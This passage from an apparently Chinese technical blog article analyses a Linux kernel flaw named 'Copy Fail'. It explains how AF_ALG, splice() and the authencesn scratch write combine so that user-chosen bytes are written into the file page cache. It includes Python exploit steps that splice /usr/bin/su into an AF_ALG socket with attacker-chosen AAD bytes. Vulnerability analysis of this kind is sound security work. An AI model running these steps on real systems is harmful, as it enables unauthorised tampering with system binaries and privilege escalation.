提供的一种高性能数据传输系统调用。它的核心思想是避免数据在内核空间和用户空间之间来回复制——通过直接在内核管道 buffer 之间移动</span><strong><span leaf="">页面引用</span></strong><span leaf="">。</span></span></p><p><span mpa-font-style="mp0kvm4vssr" style="font-size: 15px;"><span leaf="">普通的</span><code><span leaf="">read()</span></code><span leaf="">+</span><code><span leaf="">write()</span></code><span leaf="">流程需要将文件数据拷贝到用户空间 buffer，再从用户空间 buffer 拷贝到目标。而</span><code><span leaf="">splice()</span></code><span leaf="">直接把文件的 page cache 页面引用传递给管道的另一端，全程不发生数据拷贝。</span></span></p><p><span leaf=""><img data-aistatus="1" alt="splice 零拷贝对比" class="rich_pages wxw-img" data-ratio="0.5625" data-type="webp" data-w="2048" style="max-width: 100%;" data-imgfileid="311131133" src="https://wechat2rss.xlab.app/img-proxy/?k=046333b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K1Z80yYFoZQibGH1icRIwjeVjg9NVyB9orGAnEO09pich4eAksMgBckyZrstXR5BZiaJicxAIiaiaibmibibpS6K1kzAJPRS6G6Fyk0j81V8%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span mpa-font-style="mp0kvm4v13s1" style="font-size: 15px;"><span leaf="">在 AF_ALG 加密接口中，</span><code><span leaf="">splice()</span></code><span leaf="">被用来将文件数据&#34;喂&#34;给加密算法。此时文件的</span><strong><span leaf="">page cache pages 被直接放入 TX SGL</span></strong><span leaf="">——这些 SGL entry 中的</span><code><span leaf="">page_link</span></code><span leaf="">直接指向全局共享的 page cache 页面。这是一个关键的设计决策：如果后续有任何代码路径向这个 SGL 写入数据，就相当于直接修改了文件的 page cache。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v9mi" style="font-size: 15px;"><span leaf="">2.4 AF_ALG：用户空间加密接口</span></span></h3><p><span mpa-font-style="mp0kvm4vhi4" style="font-size: 15px;"><span leaf="">Linux 内核提供了一套用户空间可以直接使用的加密 API，叫做</span><strong><span leaf="">AF_ALG</span></strong><span leaf="">（Address Family: Algorithm）。它的接口设计为 socket 风格：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1d4s"><span leaf="">import socket, os</span><span leaf=""><br/></span><span leaf="">AF_ALG = 38</span><span leaf=""><br/></span><span leaf="">SOL_ALG = 279</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 1. 创建 AF_ALG socket，指定使用的加密算法</span></span><span leaf=""><br/></span><span leaf="">alg_sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 绑定算法名称，例如 AEAD 类型的 gcm(aes)</span></span><span leaf=""><br/></span><span leaf="">alg_sock.bind((<span class="code-snippet__string">&#34;aead&#34;</span>, <span class="code-snippet__string">&#34;gcm(aes)&#34;</span>))</span><span leaf=""><br/></span><span leaf="">alg_sock.setsockopt(SOL_ALG, 1, key_bytes)    <span class="code-snippet__comment"># ALG_SET_KEY: 设置密钥</span></span><span leaf=""><br/></span><span leaf="">alg_sock.setsockopt(SOL_ALG, 4, None, 16)     <span class="code-snippet__comment"># ALG_SET_AEAD_AUTHSIZE: 设置 auth tag 大小</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 2. accept 获得一个操作用的 socket</span></span><span leaf=""><br/></span><span leaf="">op_sock = alg_sock.accept()[0]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 3. 通过 sendmsg 发送待加密/解密的数据</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">#    cmsg 中通过控制消息指定操作类型(加密/解密)、IV、AAD 长度等参数</span></span><span leaf=""><br/></span><span leaf="">op_sock.sendmsg([plaintext_data], control_messages)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 4. recv 获取加密/解密结果（内核在此时执行实际的加解密操作）</span></span><span leaf=""><br/></span><span leaf="">result = op_sock.recv(output_buffer_size)</span></code></pre></p><p><span mpa-font-style="mp0kvm4v1rn9" style="font-size: 15px;"><span leaf="">AF_ALG 还支持通过</span><code><span leaf="">splice()</span></code><span leaf="">把文件内容直接&#34;喂&#34;给加密算法，避免数据在内核空间和用户空间之间来回复制。这一特性是 Copy Fail 利用链的关键：splice 进入的文件数据在内核中以 page cache page 引用的形式存入 TX SGL，而不是数据拷贝。</span></span></p><p><span mpa-font-style="mp0kvm4vk3q" style="font-size: 15px;"><span leaf="">在内核中，</span><code><span leaf="">algif_aead.c</span></code><span leaf="">负责处理 AEAD 类型的加密请求。它管理 TX SGL（用户发送的数据）和 RX SGL（用户接收 buffer），并最终调用底层加密算法（如</span><code><span leaf="">authencesn</span></code><span leaf="">）执行实际的加解密操作。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v1e8i" style="font-size: 15px;"><span leaf="">2.5 AEAD 认证加密与 authencesn 的 scratch write</span></span></h3><p><span mpa-font-style="mp0kvm4vb0h" style="font-size: 15px;"><strong><span leaf="">AEAD</span></strong><span leaf="">（Authenticated Encryption with Associated Data）是一类同时提供保密性和完整性保证的加密方案。它处理的数据格式为：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1ing"><span leaf="">输入:  AAD (Associated Data) || Ciphertext || Auth Tag</span><span leaf=""><br/></span><span leaf="">输出:  AAD || Plaintext</span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4vheu" style="font-size: 15px;">其中 AAD 是明文关联数据（不加密但参与认证），Ciphertext 是密文，Auth Tag 是认证标签。</span></p><p><span mpa-font-style="mp0kvm4vj68" style="font-size: 15px;"><strong><span leaf="">authencesn</span></strong><span leaf="">是 Linux 内核中的一个 AEAD 算法实现，全称 &#34;authenc with Extended Sequence Number&#34;，为 IPsec 的 ESN（扩展序列号）协议设计。</span></span></p><p><strong mpa-font-style="mp0kvm4v2fg" style="font-size: 15px;"><span leaf="">AAD 的含义</span></strong></p><p><span mpa-font-style="mp0kvm4v1my7" style="font-size: 15px;"><span leaf="">在 AEAD 加密中，AAD（Associated Data）是&#34;需要认证但不需要加密&#34;的附加数据。比如在 TLS 中，AAD 是记录头（内容类型、协议版本、数据长度）；在 IPsec 中，AAD 包含安全参数索引和序列号。不同场景下 AAD 的具体内容不同，但 AEAD 算法只需要知道&#34;前</span><code><span leaf="">assoclen</span></code><span leaf="">字节是 AAD&#34;即可。</span></span></p><p><strong mpa-font-style="mp0kvm4vfqe" style="font-size: 15px;"><span leaf="">authencesn 为什么要向 dst buffer 写数据</span></strong></p><p><span leaf="" mpa-font-style="mp0kvm4v1yjp" style="font-size: 15px;">ESN 协议使用 64 位序列号（防止回绕攻击），但网络传输中只携带低 32 位，高 32 位由通信双方本地维护。authencesn 需要在 HMAC 计算时纳入完整的 64 位序列号。它的做法是：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="mp0kvm4v1li0" style="font-size: 15px;">将序列号的高 32 位放在 AAD[4:8] 中</span></p></li><li><p><span mpa-font-style="mp0kvm4vqay" style="font-size: 15px;"><span leaf="">在计算 HMAC 之前，把 AAD[4:8]</span><strong><span leaf="">临时写入</span></strong><span leaf="">dst buffer 中 auth tag 原本所在的位置（这样 HMAC 计算就能覆盖完整序列号）</span></span></p></li><li><p><span leaf="" mpa-font-style="mp0kvm4v1ek0" style="font-size: 15px;">HMAC 完成后再还原</span></p></li></ul><p><span mpa-font-style="mp0kvm4vhs3" style="font-size: 15px;"><span leaf="">这个&#34;临时写入&#34;就是所谓的</span><strong><span leaf="">ESN scratch write</span></strong><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v11wr"><span leaf=""><span class="code-snippet__comment">// crypto/authencesn.c - crypto_authenc_esn_decrypt()</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// 从 AAD 中读取前 8 字节</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">scatterwalk_map_and_copy</span>(tmp, req</span><span leaf="">-&gt;</span><span leaf="">dst, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">8</span>, <span class="code-snippet__number">0</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// 在 IPsec 场景: tmp[0] = SPI, tmp[1] = SeqNo_Hi</span></span><span leaf=""><br/></span><span leaf="">unsigned int cryptlen = req</span><span leaf="">-&gt;</span><span leaf="">cryptlen;</span><span leaf=""><br/></span><span leaf="">cryptlen -= authsize;  <span class="code-snippet__comment">// 定位到 auth tag 区域的起始</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// 将 AAD[4:8] 临时写入 dst 中 tag 区域，供 HMAC 计算使用</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">scatterwalk_map_and_copy</span>(tmp + <span class="code-snippet__number">1</span>, req</span><span leaf="">-&gt;</span><span leaf="">dst, assoclen + cryptlen, <span class="code-snippet__number">4</span>, <span class="code-snippet__number">1</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//                       ^^^^^^^^                                ^</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//                    AAD[4:8]                               4字节, 1=写方向</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4v22cn" style="font-size: 15px;"><span leaf="">写入大小是</span><strong><span leaf="">硬编码的 4 字节</span></strong><span leaf="">（</span><code><span leaf="">sizeof(u32)</span></code><span leaf="">），写入的值来自 AAD[4:8]。</span></span></p><p><span mpa-font-style="mp0kvm4vvuv" style="font-size: 15px;"><span leaf="">在 IPsec 的正常场景中，</span><code><span leaf="">req-&gt;dst</span></code><span leaf="">指向内核通过</span><code><span leaf="">kmalloc</span></code><span leaf="">分配的连续 buffer，AAD[4:8] 是合法的序列号数据。临时写入和还原完全无害。</span></span></p><p><strong mpa-font-style="mp0kvm4v1gv2" style="font-size: 15px;"><span leaf="">AF_ALG 打开的攻击面</span></strong></p><p><span mpa-font-style="mp0kvm4v96g" style="font-size: 15px;"><span leaf="">但是通过 AF_ALG 接口，</span><strong><span leaf="">用户空间可以直接调用 authencesn 算法，并且完全控制 AAD 的内容</span></strong><span leaf="">。authencesn 不做任何校验——它不关心 AAD[4:8] 到底是不是真正的 ESN 序列号，只是机械地把这 4 字节写入 dst 的固定偏移处。</span></span></p><p><span leaf="" mpa-font-style="mp0kvm4v111e" style="font-size: 15px;">只要把想写入 page cache 的数据放进 AAD[4:8]，authencesn 就会忠实地把它写入 dst 的固定偏移处。</span></p><p><span mpa-font-style="mp0kvm4vxn8" style="font-size: 15px;"><span leaf="">那么问题来了——如果</span><code><span leaf="">req-&gt;dst</span></code><span leaf="">中包含的不是 kmalloc buffer，而是</span><strong><span leaf="">page cache pages</span></strong><span leaf="">呢？</span></span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="display: flex;flex-flow: row;margin: 15px 0% 10px;text-align: center;justify-content: center;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;max-width: 100%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;border-width: 0px;box-sizing: border-box;"><div style="transform: translate3d(4px, 0px, 0px);-webkit-transform: translate3d(4px, 0px, 0px);-moz-transform: translate3d(4px, 0px, 0px);-o-transform: translate3d(4px, 0px, 0px);box-sizing: border-box;"><div style="padding: 0px 17px;color: rgb(88, 88, 88);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">三、漏洞成因分析</span></strong></p></div></div></div></div></div></div><p><span mpa-font-style="mp0kvm4vxn8"><span leaf="" style="font-size: 15px;"><span textstyle="" style="font-weight: bold;">3.1 漏洞引入：一个合理的优化</span></span></span></p><p><span mpa-font-style="mp0kvm4v1fch" style="font-size: 15px;"><span leaf="">2017 年 7 月，内核开发者 Stephan Mueller 提交了 commit</span><code><span leaf="">72548b093ee3</span></code><span leaf="">，标题是 &#34;crypto: algif_aead - copy AAD from src to dst&#34;。</span></span></p><p><span mpa-font-style="mp0kvm4v1fry" style="font-size: 15px;"><span leaf="">这个 commit 要解决的是一个真实的 bug。在此之前，</span><code><span leaf="">algif_aead</span></code><span leaf="">的解密路径使用</span><strong><span leaf="">out-of-place</span></strong><span leaf="">模式：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vji5"><span leaf=""><span class="code-snippet__comment">// 2017 之前: out-of-place</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">aead_request_set_crypt</span>(&amp;areq</span><span leaf="">-&gt;</span><span leaf="">aead_req,</span><span leaf=""><br/></span><span leaf="">                       areq</span><span leaf="">-&gt;</span><span leaf="">tsgl,              <span class="code-snippet__comment">// req-&gt;src = TX SGL（输入数据）</span></span><span leaf=""><br/></span><span leaf="">                       areq</span><span leaf="">-&gt;</span><span leaf="">first_rsgl.sgl.sg, <span class="code-snippet__comment">// req-&gt;dst = RX SGL（用户接收 buffer）</span></span><span leaf=""><br/></span><span leaf="">                       used, ctx</span><span leaf="">-&gt;</span><span leaf="">iv);</span></code></pre></p><p><span mpa-font-style="mp0kvm4vzst" style="font-size: 15px;"><span leaf="">TX SGL 包含用户通过</span><code><span leaf="">sendmsg()</span></code><span leaf="">和</span><code><span leaf="">splice()</span></code><span leaf="">发送进来的全部数据（AAD + 密文 + 认证标签），RX SGL 指向用户空间的接收 buffer。AEAD 规范要求解密结果包含 AAD，但底层算法只处理密文部分，AAD 需要调用方自行从 src 复制到 dst。旧版</span><code><span leaf="">algif_aead</span></code><span leaf="">没做这个复制，导致用户收到的输出中 AAD 区域是全零。</span></span></p><p><span mpa-font-style="mp0kvm4v1b8h" style="font-size: 15px;"><span mpa-font-style="mp0new3e78o" style="font-size: 15px;"><span leaf="">commit</span><code><span leaf="">72548b093ee3</span></code><span leaf="">的修复方案分三步：</span></span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><strong mpa-font-style="mp0new3e19t" style="font-size: 15px;"><span leaf="">先把 AAD + 密文从 TX SGL 复制到 RX buffer</span></strong><p><span mpa-font-style="mp0new3e1bkf" style="font-size: 15px;"><span leaf="">（</span><code><span leaf="">memcpy_sglist</span></code><span leaf="">），这样 AAD 就出现在输出中了</span></span></p></li><li><strong mpa-font-style="mp0new3fjbn" style="font-size: 15px;"><span leaf="">把 TX SGL 中认证标签（auth tag）所在的 page 通过</span><code><span leaf="">sg_chain()</span></code><span leaf="">链接到 RX SGL 尾部</span></strong><p><span leaf="" mpa-font-style="mp0new3fq5f" style="font-size: 15px;">——因为 AEAD 解密需要读取 tag 来做认证校验，tag 不属于输出但必须在 dst SGL 中可达</span></p></li><li><strong mpa-font-style="mp0new3f156s" style="font-size: 15px;"><span leaf="">设置</span><code><span leaf="">req-&gt;src = req-&gt;dst = RX SGL</span></code></strong><p><span leaf="" mpa-font-style="mp0new3f179y" style="font-size: 15px;">（此时 RX SGL 已包含 AAD + 密文 + chained tag pages）</span></p></li></ul><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vhkb"><span leaf=""><span class="code-snippet__comment">// 2017 之后的漏洞代码 (in-place)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// Step 1: 复制 AAD+密文 到 RX buffer</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">memcpy_sglist</span>(rsgl, tsgl_src, outlen);  <span class="code-snippet__comment">// outlen = assoclen + cryptlen - authsize</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// Step 2: 从 TX SGL 中取出 tag pages</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">af_alg_pull_tsgl</span>(sk, processed, areq-&gt;tsgl, processed - as);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// Step 3: 链到 RX SGL 尾部</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">sg_chain</span>(rsgl_sg, rsgl_nents, areq-&gt;tsgl);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">// Step 4: in-place — src 和 dst 都指向 这个 combined RX SGL</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">aead_request_set_crypt</span>(&amp;areq-&gt;aead_req,</span><span leaf=""><br/></span><span leaf="">                       rsgl_src,   // req-&gt;src = RX SGL (含 chained tag pages)</span><span leaf=""><br/></span><span leaf="">                       rsgl_dst,   <span class="code-snippet__comment">// req-&gt;dst = RX SGL (同一个!)</span></span><span leaf=""><br/></span><span leaf="">                       used, ctx-&gt;iv);</span></code></pre></p><p><span mpa-font-style="mp0kvm4v16eb" style="font-size: 15px;"><span leaf="">功能上这完美解决了 AAD 复制问题。但问题出在 Step 2 中取出的</span><strong><span leaf="">tag pages</span></strong><span leaf="">——它们来自 TX SGL，而 TX SGL 中通过</span><code><span leaf="">splice()</span></code><span leaf="">进入的数据直接引用了文件的 page cache pages。这些 page cache pages 现在被 chain 到了</span><code><span leaf="">req-&gt;dst</span></code><span leaf="">中。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4vus8" style="font-size: 15px;"><span leaf="">3.2 设计假设冲突</span></span></h3><p><span mpa-font-style="mp0kvm4v1qkp" style="font-size: 15px;"><span leaf="">问题的本质是两个子系统之间存在一个从未被明确约定的</span><strong><span leaf="">隐含假设冲突</span></strong><span leaf="">：</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.14444444444444443" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131138" src="https://wechat2rss.xlab.app/img-proxy/?k=b298b473&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K1f7NHHfZEQ4Occ5kz9unnPkaMiau3oDibNXF7icIkrD7icBe6ZrVzFKOWlqWsr2ftj5g2VjsX6Y48e7l3eoF3L4elPG2b1Ciaia7X3o%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span mpa-font-style="mp0kvm4var0" style="font-size: 15px;"><span leaf="">在 authencesn 的所有其他调用场景中（主要是 IPsec/xfrm），dst 确实是内核分配的连续 buffer。</span><code><span leaf="">algif_aead</span></code><span leaf="">的 in-place 优化是第一个（也是唯一一个）将 page cache pages 放入</span><code><span leaf="">req-&gt;dst</span></code><span leaf="">SGL 的代码路径。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4v22vf" style="font-size: 15px;"><span leaf="">3.3 完整触发路径</span></span></h3><p><span leaf=""><img data-aistatus="1" alt="完整漏洞触发路径" class="rich_pages wxw-img" data-ratio="0.5625" data-type="webp" data-w="2048" style="max-width: 100%;" data-imgfileid="311131132" src="https://wechat2rss.xlab.app/img-proxy/?k=927aeacf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K2aAxicPDuMVic7jI1AUTC96cjLMfLjJkz3JnK6ctC42hPcKiaInMVuI0ibQlPJM6mrRNWD5OG9v2PAMM79gTeA7LvbDu0FA7L1lZM%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span mpa-font-style="mp0kvm4v6ry" style="font-size: 15px;"><span leaf="">现在把整个漏洞触发过程从头到尾走一遍。假设目标是向某个文件的偏移</span><code><span leaf="">t</span></code><span leaf="">处写入 4 字节可控数据。</span></span></p><p><strong mpa-font-style="mp0kvm4v7qx" style="font-size: 15px;"><span leaf="">Step 1：用户空间发送数据</span></strong></p><p><span leaf="" mpa-font-style="mp0kvm4v23jx" style="font-size: 15px;">利用时设置以下参数：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><code mpa-font-style="mp0kvm4v169c" style="font-size: 15px;"><span leaf="">assoclen = 8</span></code><p><span leaf="" mpa-font-style="mp0kvm4vm9t" style="font-size: 15px;">（AAD 长度，通过 sendmsg 的控制消息指定）</span></p></li><li><code mpa-font-style="mp0kvm4v1x29" style="font-size: 15px;"><span leaf="">authsize = 4</span></code><p><span mpa-font-style="mp0kvm4vun1" style="font-size: 15px;"><span leaf="">（认证标签大小，通过</span><code><span leaf="">setsockopt(ALG_SET_AEAD_AUTHSIZE)</span></code><span leaf="">设置）</span></span></p></li></ul><p><span leaf="" mpa-font-style="mp0kvm4vqsl" style="font-size: 15px;">然后分两步向 AF_ALG socket 发送数据：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4vnv1"><span leaf=""><span class="code-snippet__comment"># 要写入的 4 字节数据</span></span><span leaf=""><br/></span><span leaf="">evil_bytes = b&#39;\xde\xad\xbe\xef&#39;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Step 1: 通过 sendmsg 发送 8 字节 AAD</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># AAD[0:4] = 任意填充, AAD[4:8] = 要写入 page cache 的数据</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># authencesn 会把 AAD[4:8] 作为 ESN seqno_lo 写入 scratch 区域</span></span><span leaf=""><br/></span><span leaf="">aad = b&#39;\x00\x00\x00\x00&#39; + evil_bytes   <span class="code-snippet__comment"># 8 字节</span></span><span leaf=""><br/></span><span leaf="">op.sendmsg([aad], cmsg, MSG_MORE)  <span class="code-snippet__comment"># MSG_MORE: 后续还有数据</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Step 2: 通过 splice 将目标文件的前 t+4 字节送入 AF_ALG socket</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># splice 直接传递 page cache page 引用，不复制数据</span></span><span leaf=""><br/></span><span leaf="">pipe_r, pipe_w = os.pipe()</span><span leaf=""><br/></span><span leaf="">target_fd = os.open(<span class="code-snippet__string">&#34;/usr/bin/su&#34;</span>, os.O_RDONLY)</span><span leaf=""><br/></span><span leaf="">os.splice(target_fd, pipe_w, t + 4, offset_src=0)  <span class="code-snippet__comment"># 文件 → 管道</span></span><span leaf=""><br/></span><span leaf="">os.splice(pipe_r, op.fileno(), t + 4)               <span class="code-snippet__comment"># 管道 → AF_ALG socket</span></span></code></pre></p><p><strong mpa-font-style="mp0kvm4v1fwf" style="font-size: 15px;"><span leaf="">Step 2：TX SGL 布局</span></strong></p><p><span leaf="" mpa-font-style="mp0kvm4v1p8g" style="font-size: 15px;">两次发送后，内核中的 TX SGL 包含：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v13qs"><span leaf="">TX SGL:</span><span leaf=""><br/></span><span leaf="">+</span><span leaf=""><span class="code-snippet__comment">--------------------+----------------------------------------+</span></span><span leaf=""><br/></span><span leaf="">|</span><span leaf=""> sendmsg data (<span class="code-snippet__number">8</span>B)  </span><span leaf="">|</span><span leaf=""> splice data (t</span><span leaf="">+</span><span leaf=""><span class="code-snippet__number">4</span> bytes)                </span><span leaf="">|</span><span leaf=""><br/></span><span leaf="">|</span><span leaf=""> AAD: <span class="code-snippet__number">4</span> zero bytes  </span><span leaf="">|</span><span leaf=""> file[<span class="code-snippet__number">0</span>:t</span><span leaf="">+</span><span leaf=""><span class="code-snippet__number">4</span>]                            </span><span leaf="">|</span><span leaf=""><br/></span><span leaf="">|</span><span leaf="">+</span><span leaf=""> evil_bytes  </span><span leaf="">|</span><span leaf=""> page cache page refs via splice        </span><span leaf="">|</span><span leaf=""><br/></span><span leaf="">|</span><span leaf="">  (kmalloc memory)  </span><span leaf="">|</span><span leaf=""> (points <span class="code-snippet__keyword">to</span> <span class="code-snippet__keyword">GLOBAL</span> SHARED page cache</span><span leaf="">!</span><span leaf="">)  </span><span leaf="">|</span><span leaf=""><br/></span><span leaf="">+</span><span leaf=""><span class="code-snippet__comment">--------------------+----------------------------------------+</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4v1a75" style="font-size: 15px;">从 AEAD 解密的视角来解读这段连续数据：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><strong mpa-font-style="mp0kvm4v1c2d" style="font-size: 15px;"><span leaf="">AAD</span></strong><p><span mpa-font-style="mp0kvm4v1uz7" style="font-size: 15px;"><span leaf="">= 前</span><code><span leaf="">assoclen=8</span></code><span leaf="">字节 = sendmsg 发送的</span><code><span leaf="">\x00\x00\x00\x00</span></code><span leaf="">+</span><code><span leaf="">evil_bytes</span></code></span></p></li><li><strong mpa-font-style="mp0kvm4v19d4" style="font-size: 15px;"><span leaf="">密文 (Ciphertext)</span></strong><p><span mpa-font-style="mp0kvm4vu7p" style="font-size: 15px;"><span leaf="">= 中间</span><code><span leaf="">t</span></code><span leaf="">字节 = file[0:t]（文件的前 t 字节被当成&#34;密文&#34;）</span></span></p></li><li><strong mpa-font-style="mp0kvm4v1a39" style="font-size: 15px;"><span leaf="">认证标签 (Auth Tag)</span></strong><p><span mpa-font-style="mp0kvm4v190m" style="font-size: 15px;"><span leaf="">= 最后</span><code><span leaf="">authsize=4</span></code><span leaf="">字节 = file[t:t+4]</span></span></p></li></ul><p><span leaf="" mpa-font-style="mp0kvm4vt37" style="font-size: 15px;">总字节数 = 8 + t + 4 = t + 12。</span></p><p><strong mpa-font-style="mp0kvm4v1mvz" style="font-size: 15px;"><span leaf="">Step 3：recv 触发解密 → in-place SGL 构建</span></strong></p><p><span mpa-font-style="mp0kvm4vikt" style="font-size: 15px;"><span leaf="">调用</span><code><span leaf="">recv()</span></code><span leaf="">触发</span><code><span leaf="">_aead_recvmsg()</span></code><span leaf="">。漏洞代码执行以下操作：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4v1y0j"><span leaf="">outlen = assoclen + (cryptlen - authsize) = <span class="code-snippet__number">8</span> + ((t+<span class="code-snippet__number">4</span>) - <span class="code-snippet__number">4</span>) = t + <span class="code-snippet__number">8</span></span><span leaf=""><br/></span><span leaf="">(<span class="code-snippet__number">1</span>) <span class="code-snippet__title">memcpy_sglist</span>(RX buffer, TX SGL, outlen=t+<span class="code-snippet__number">8</span>):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">Copy</span> first t+<span class="code-snippet__number">8</span> bytes of TX SGL to RX <span class="code-snippet__title">buffer</span> (user-space allocated memory)</span><span leaf=""><br/></span><span leaf="">    RX buffer contents:</span><span leaf=""><br/></span><span leaf="">      [<span class="code-snippet__number">0</span>:<span class="code-snippet__number">8</span>]   = copy of <span class="code-snippet__title">AAD</span> (sendmsg data)</span><span leaf=""><br/></span><span leaf="">      [<span class="code-snippet__number">8</span>:<span class="code-snippet__number">8</span>+t] = copy of file[<span class="code-snippet__number">0</span>:t] 